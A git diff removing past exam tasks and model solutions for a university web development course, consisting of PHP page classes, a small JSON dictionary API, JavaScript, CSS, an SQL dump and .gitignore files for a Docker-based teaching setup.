-    public static function main():void
-    {
-        try {
-            $page = new Exam21();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Exam21::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/Exam21API.php b/src/Klausuren/21SS/Loesung/Exam21API.php
deleted file mode 100644
index 6cb02a0f8b661fbfed63b6c5ca36be63efedf338..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Exam21API.php
+++ /dev/null
@@ -1,112 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Exam21API extends Page
-{
-    private int $gameId = -1;
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        $data= array();
-        $sql = "SELECT count(*) as playing FROM gameDetails where gameId = $this->gameId";
-        $recordset = $this->_database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Fehler in Abfrage: " . $this->_database->error);
-        }
-        $data[] = $recordset->fetch_assoc();
-        $recordset->free();
-        return $data;
-    }
-
-    /**
-     * First the required data is fetched and then the JSON is
-     * assembled for output.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        header("Content-Type: application/json; charset=UTF-8");
-        $data = $this->getViewData();
-        $serializedData = json_encode($data);
-        echo $serializedData;
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        if (isset($_GET["gameId"]) && is_numeric($_GET["gameId"])) {
-            $this->gameId = (int) $_GET["gameId"];
-        }
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new Exam21API();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Exam21API::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/Exam21_Abnahme.php b/src/Klausuren/21SS/Loesung/Exam21_Abnahme.php
deleted file mode 100644
index ce2fea87c7323e592537e9d2a84098f6054604be..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Exam21_Abnahme.php
+++ /dev/null
@@ -1,118 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Exam21Abnahme extends Page
-{
-    // to do: declare reference variables for members 
-    // representing substructures/blocks
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        $data = array(); //NOSONAR ignore unneccessary asignment to temp variable
-        return $data;
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $this->generatePageHeader("Abnahme");
-
-echo <<<EOT
-        <body>
-            <section>
-            <h2>Abnahme</h2>
-			<p>Trägt bei jedem Reload eine neue Fahrerin ein</p>
-            </section>
-        </body>
-EOT;
-        $this->generatePageFooter();
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-			$name = str_shuffle ("EWA_2021_Examination");
-
-            $sql = "INSERT INTO `gameDetails`(`gameId`, `name`) VALUES ('1','$name')";
-            if (!$this->_database->query($sql)) {
-                throw new Exception("Update failed: " . $this->_database->error);
-            }
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new Exam21Abnahme();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Exam21Abnahme::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/Logo.png b/src/Klausuren/21SS/Loesung/Logo.png
deleted file mode 100644
index 33098cf5126fb00080514d73a730814a0ccde93b..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Loesung/Logo.png and /dev/null differ
diff --git a/src/Klausuren/21SS/Loesung/Page.php b/src/Klausuren/21SS/Loesung/Page.php
deleted file mode 100644
index 708f384b6027480ad741c86d1542a3ca5e686ba8..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Page.php
+++ /dev/null
@@ -1,126 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.0
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "mariadb";
-        $this->_database = new MySQLi($host, "public", "public", "2021_TeamSport"); //NOSONAR ignore hardcoded password
-
-        if ($this->_database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->_database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        // to do: close database
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param $title $title is the text to be used as title of the page
-	 * @return void
-     */
-    protected function generatePageHeader(string $title = ""):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">  
-  <head>
-    <meta charset="UTF-8" />
-	<title>$title</title>
-	<script src="Exam21.js"> </script>
-	<link rel="stylesheet" type="text/css" href="Exam21.css" />
-  </head>
-EOT;
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        echo "</html>";
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-	 * with submitted data do it here. 
-	 * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/_Eigenstaendigkeitserklaerung.pdf b/src/Klausuren/21SS/Loesung/_Eigenstaendigkeitserklaerung.pdf
deleted file mode 100644
index 05aee49908e5d7162050353bad69db024595c6b8..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Loesung/_Eigenstaendigkeitserklaerung.pdf and /dev/null differ
diff --git a/src/Klausuren/21SS/index.php b/src/Klausuren/21SS/index.php
deleted file mode 100644
index 9be94caa682610727087106470c7093883b8504d..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/index.php
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2021</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2021</h1>
-	<p>
-		Seit Sommersemester 2021 wird die EWA-Klausur am Rechner geschrieben und über GitLab abgegeben.
-		Deshalb gibt es hier 2 Verzeichnisse: Das Verzeichnis <em>Aufgabe</em> mit den Dateien wie sie 
-		in der Klausur bereitgestellt wurden und das Verzeichnis <em>Loesung</em> mit einer Lösung der Aufgabe.
-	</p>
-</header>
-<main>
-    <ul>	
-        <li><a href="Loesung">Der Ordner "Loesung" mit der Lösung der Klausuraufgabe</a></li>
-        <li><a href="Loesung/Exam21.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-		<li><a href="Aufgabe/_21SS_Klausur_EWA.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="Aufgabe">Der Ordner "Aufgabe" mit den zugelieferten Dateien für Ihre Lösung der Klausuraufgabe</a></li>		
-        <li><a href="Aufgabe/Exam21.php">Ihre Lösung der Aufgabe als Webanwendung (wenn Sie es gelöst haben)</a></li>	
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/22SS/Aufgabe/.gitignore b/src/Klausuren/22SS/Aufgabe/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Aufgabe/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/22SS/Aufgabe/_22SS_Klausur_EWA.pdf b/src/Klausuren/22SS/Aufgabe/_22SS_Klausur_EWA.pdf
deleted file mode 100644
index f8ceab2c2fb0148cf255ffa8a20da4cf87c99f30..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/22SS/Aufgabe/_22SS_Klausur_EWA.pdf and /dev/null differ
diff --git a/src/Klausuren/22SS/Aufgabe/_Exam22_Zulieferung.zip b/src/Klausuren/22SS/Aufgabe/_Exam22_Zulieferung.zip
deleted file mode 100644
index 6d9c7d745c03e2011efe81fcf7ffed7ab8bafa82..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/22SS/Aufgabe/_Exam22_Zulieferung.zip and /dev/null differ
diff --git a/src/Klausuren/22SS/Aufgabe/__Readme.txt b/src/Klausuren/22SS/Aufgabe/__Readme.txt
deleted file mode 100644
index 230a2d777d0a74ed35337a81dce172c740179196..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Aufgabe/__Readme.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Dieser Ordner enthält die Dateien, die zum Zeitpunkt der Klausur verteilt wurden (Aufgabe und Zulieferung mit SQL-Skript).
-Das SQL-Skript ist in diesem Docker-Setup bereits importiert und muss (im Gegensatz zur Klausur) nicht erneut importiert werden.
-
-In diesem Verzeichnis können Sie die alte Klausur als Probeklausur zur Vorbereitung lösen. Kopieren Sie einfach die Dateien aus der Zulieferungsdatei in dieses Verzeichnis und legen sie los!
\ No newline at end of file
diff --git a/src/Klausuren/22SS/Loesung/.gitignore b/src/Klausuren/22SS/Loesung/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/22SS/Loesung/Exam22.css b/src/Klausuren/22SS/Loesung/Exam22.css
deleted file mode 100644
index b706b94e3ec47cfbe2aa77b0b44e1a9f28dd8589..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Exam22.css
+++ /dev/null
@@ -1,85 +0,0 @@
-body {
-    font-family: "Century Gothic", sans-serif;
-}
-
-header, nav, main, footer, .simple {
-    border: 0.1em solid black;
-    border-radius: 1em;
-}
-
-main {
-    display: flex;
-    flex-direction: row;
-    background: #f8f9fa;
-    flex-wrap: wrap;
-}
-
-main article {
-    background: white;
-}
-
-header {
-    background: darkgrey;
-    color: #fff;
-    display: flex;
-    flex-direction: row;
-}
-
-header h1 {
-    flex-grow: 1;
-    text-align: center;
-    align-self: center;
-}
-
-nav {
-    background: gainsboro;
-    display: flex;
-    flex-direction: row;
-    justify-content: space-between;
-}
-
-footer {
-    background: silver;
-    text-align: center;
-    clear: left;
-}
-
-.simple {
-    font-size: 1.2em;
-    float: left;
-    width: 15em;
-}
-
-/* responsive menu */
-@media only screen and (max-width: 768px) {
-    nav {
-        flex-direction: column;
-    }
-}
-
-/* content that was not required for examination */
-body {
-    width: 95%;
-    margin: auto;
-    color: black;
-}
-
-header, nav, main, footer, .simple {
-    padding: 0.5em;
-    margin: 0.5em;
-}
-
-.invisible {
-    display: none;
-}
-
-main article {
-    width: 15em;
-    margin: 0.5em;
-    padding: 0.5em;
-}
-
-header {
-    height: 4em;
-}
-
diff --git a/src/Klausuren/22SS/Loesung/Exam22.html b/src/Klausuren/22SS/Loesung/Exam22.html
deleted file mode 100644
index 42c163d94acac86855bddde1718f752d66a7048b..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Exam22.html
+++ /dev/null
@@ -1,67 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="utf-8">
-    <title>Hochschule Darmstadt</title>
-    <script src="Exam22.js"></script>
-    <link rel="stylesheet" type="text/css" href="Exam22.css"/>
-</head>
-<body>
-<header>
-    <img alt="Logo EUT+" src="https://h-da.de/typo3conf/ext/hda_navigation/Resources/Public/Design/logo-eut-plus.svg"/>
-    <h1>h_da</h1>
-    <form method="get" role="search" action="Exam22.html" accept-charset="UTF-8">
-        <label class="invisible" for="search">Suche:</label>
-        <input type="text" value="" name="search" id="search" class="search"/>
-        <input type="submit" value="suche"/>
-    </form>
-</header>
-<nav id="navigation" role="navigation">
-    <a href="#">Hochschule</a>
-    <a href="#">Studium</a>
-    <a href="#">Forschung</a>
-</nav>
-<aside class="simple">
-    <h2>Erklärungen in Leichter Sprache</h2>
-    <p>Machen Sie einen Doppelklick auf ein schwieriges Wort. Dann wird eine Erklärung hier eingefügt. Falls es eine
-        gibt.</p>
-    <ul id="simpleExplanations">
-    </ul>
-</aside>
-<main id="maincontainer">
-    <article>
-        <h2>Projekt Leichte Sprache</h2>
-        <p> Das Projekt hat zum Ziel, Erläuterungen in Leichter Sprache in beliebige Webseiten leicht integrieren zu
-            können. Begriffe wie Behörde oder Origami können einfach durch Doppelklick markiert werden. Wenn eine
-            Erläuterung gefunden wird, wird diese dynamisch in die Webseite eingefügt. Zunächst in Form eines Glossars
-            in einen entsprechenden HTML-Container, später als Browser-Plugin.
-        </p>
-    </article>
-
-    <article>
-        <h2>Studierende vergeben erstmals Preise für Abschlussarbeiten zum Thema Nachhaltige Entwicklung</h2>
-        <p>
-            Studierende aus der studentischen „Initiative: Nachhaltige Entwicklung“ (sti:ne) der Hochschule Darmstadt
-            (h_da) haben erstmals „Preise für Abschlussarbeiten zum Thema Nachhaltige Entwicklung“ (pra:ne) vergeben.
-        </p>
-    </article>
-    <article>
-        <h2>Promotionsrecht: Positive Evaluation durch unabhängige Expertenkommission</h2>
-        <p>
-            Es ist ein Meilenstein für die weitere Entwicklung der Hochschule Darmstadt (h_da): Sechs Jahre nach
-            Einführung des Promotionsrechts an den hessischen Hochschulen für Angewandte Wissenschaften (HAWen) hat eine
-            unabhängige Kommission das Vorhaben evaluiert.
-        </p>
-    </article>
-</main>
-
-<footer>
-    HOCHSCHULE DARMSTADT
-    University of Applied Sciences
-
-    Haardtring 100
-    64295 Darmstadt
-</footer>
-
-</body>
-</html>
diff --git a/src/Klausuren/22SS/Loesung/Exam22.js b/src/Klausuren/22SS/Loesung/Exam22.js
deleted file mode 100644
index f9352a671de1f0a63b424a1e36af549f6ac6fb8f..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Exam22.js
+++ /dev/null
@@ -1,77 +0,0 @@
-class Lexicon {
-    constructor() {
-        "use strict";
-        this.request = new XMLHttpRequest();
-    }
-
-    deleteAllChildren(node) {
-        "use strict";
-        while (node.firstChild) {
-            node.firstChild.remove()
-        }
-    }
-
-    addExplanationNode(word, explanation) {
-        "use strict";
-        let ulExplanationsNode = document.getElementById("simpleExplanations");
-        if (ulExplanationsNode) {
-            this.deleteAllChildren(ulExplanationsNode);
-            let node = document.createElement("li");
-            let textNode = document.createTextNode(word + ": " + explanation);
-            node.appendChild(textNode);
-            ulExplanationsNode.appendChild(node);
-        }
-    }
-
-    processExplanation(jsonData) {
-        "use strict";
-        let dataObject = JSON.parse(jsonData);
-        this.addExplanationNode(dataObject.word, dataObject.explanation);
-
-    }
-
-    processData() {
-        "use strict";
-        if (this.request.status === 404) { // Be aware! readyState is 2 for 404 !
-            console.log("word not found");
-        }
-        if (this.request.readyState === 4) { // Uebertragung = DONE
-            if (this.request.status === 200) { // HTTP-Status = OK
-                if (this.request.responseText != null) {
-                    this.processExplanation(this.request.responseText); // Daten verarbeiten
-                } else console.error("Dokument ist leer");
-            } else console.error("Uebertragung fehlgeschlagen");
-        } // else; // Uebertragung laeuft noch
-    }
-
-    searchWord(word) {
-        "use strict";
-        let me = this;
-        word = encodeURI(word); // not required in examination
-        this.request.open("GET", "Exam22Api.php?search=" + word);
-        this.request.setRequestHeader('Content-type', 'application/json; charset=utf-8');
-        this.request.onreadystatechange = function () {
-            "use strict";
-            me.processData();
-        }
-        this.request.send(null);
-    }
-}
-
-function RegisterWordClickHandler() {
-    "use strict";
-    let body = document.getElementsByTagName("body")[0];
-    if (body) {
-        body.addEventListener('dblclick', WordClickHandler);
-    }
-}
-
-function WordClickHandler() {
-    "use strict";
-    let lex = new Lexicon();
-    if (window.getSelection().toString().length > 1) {
-        lex.searchWord(document.getSelection().toString());
-    }
-}
-
-window.onload = RegisterWordClickHandler;
diff --git a/src/Klausuren/22SS/Loesung/Exam22.sql b/src/Klausuren/22SS/Loesung/Exam22.sql
deleted file mode 100644
index 33c1091fda56315c6870453f60cab2226f9aa612..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Exam22.sql
+++ /dev/null
@@ -1,62 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 16. Mai 2022 um 14:18
--- Server-Version: 10.5.10-MariaDB-1:10.5.10+maria~focal
--- PHP-Version: 7.4.20
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `2022_Easy2Read`
---
-CREATE DATABASE IF NOT EXISTS `2022_Easy2Read` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
-USE `2022_Easy2Read`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `Dictionary`
---
-
-DROP TABLE IF EXISTS `Dictionary`;
-CREATE TABLE IF NOT EXISTS `Dictionary` (
-  `id` int(11) NOT NULL,
-  `word` varchar(100) NOT NULL,
-  `explanation` varchar(1024) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `Dictionary`
---
-
-INSERT INTO `Dictionary` (`id`, `word`, `explanation`) VALUES
-(1, 'Behörde', 'Eine Behörde ist eine Art Organisation. Man sagt oft Amt dazu. Zum Beispiel das Sozial amt.Zum Beispiel das Bürger·amt. Die Aufgaben der Behörde sind für die Bürger. Oder die Aufgaben sind für den Staat, das Land, für die Stadt oder für Gemeinden.'),
-(2, 'Origami', 'Origami ist Papier falten. Aus Papier werden Formen gefaltet. Zum Beispiel ein Tier.'),
-(3, 'html', 'HTML ist eine Auszeichnungssprache. Darin werden Texte und deren Bedeutung mit HTML-Tags markiert z.B. <article> oder <header>');
-
--- --------------------------------------------------------
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `Dictionary`
---
-ALTER TABLE `Dictionary`
-  ADD PRIMARY KEY (`id`);
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/src/Klausuren/22SS/Loesung/Exam22Api.php b/src/Klausuren/22SS/Loesung/Exam22Api.php
deleted file mode 100644
index 7227322fff0a863644db0b2c348abb3775d5c00a..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Exam22Api.php
+++ /dev/null
@@ -1,87 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-require_once './Page.php';
-
-class RestDictionary extends Page
-{
-    private string $searchWord = "";
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-		$this->searchWord = strtolower(trim($this->searchWord));
-		
-        if ($this->searchWord === "") {
-            return array();
-		}
-		
-        $explanation = array();
-		
-		$search = $this->_database->real_escape_string($this->searchWord);
-        $sql = "SELECT id, explanation FROM `2022_Easy2Read`.Dictionary where TRIM(LOWER(`word`)) = '$search' limit 1";
-        $recordset = $this->_database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Fehler in Abfrage: " . $this->_database->error);
-        }
-        while ($record = $recordset->fetch_assoc()) {
-            $explanation["word"] = $this->searchWord;
-            $explanation["explanation"] = $record["explanation"];
-        }
-        $recordset->free();
-        return $explanation;
-    }
-
-    protected function generateView():void
-    {
-		$data = $this->getViewData();
-		if (empty($data)){
-            // send response with 404 error
-            header("HTTP/1.0 404 Not Found");
-            die();
-        }
-        header("Content-Type: application/json; charset=UTF-8");
-        $serializedData = json_encode($data);
-        echo $serializedData;
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        if (isset($_GET["search"]) && !empty($_GET["search"])){
-            $this->searchWord = $_GET["search"];
-        }
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new RestDictionary();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-RestDictionary::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/22SS/Loesung/Page.php b/src/Klausuren/22SS/Loesung/Page.php
deleted file mode 100644
index 70fed8a17a61695d61db9959f40204d3c549df86..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/Loesung/Page.php
+++ /dev/null
@@ -1,127 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
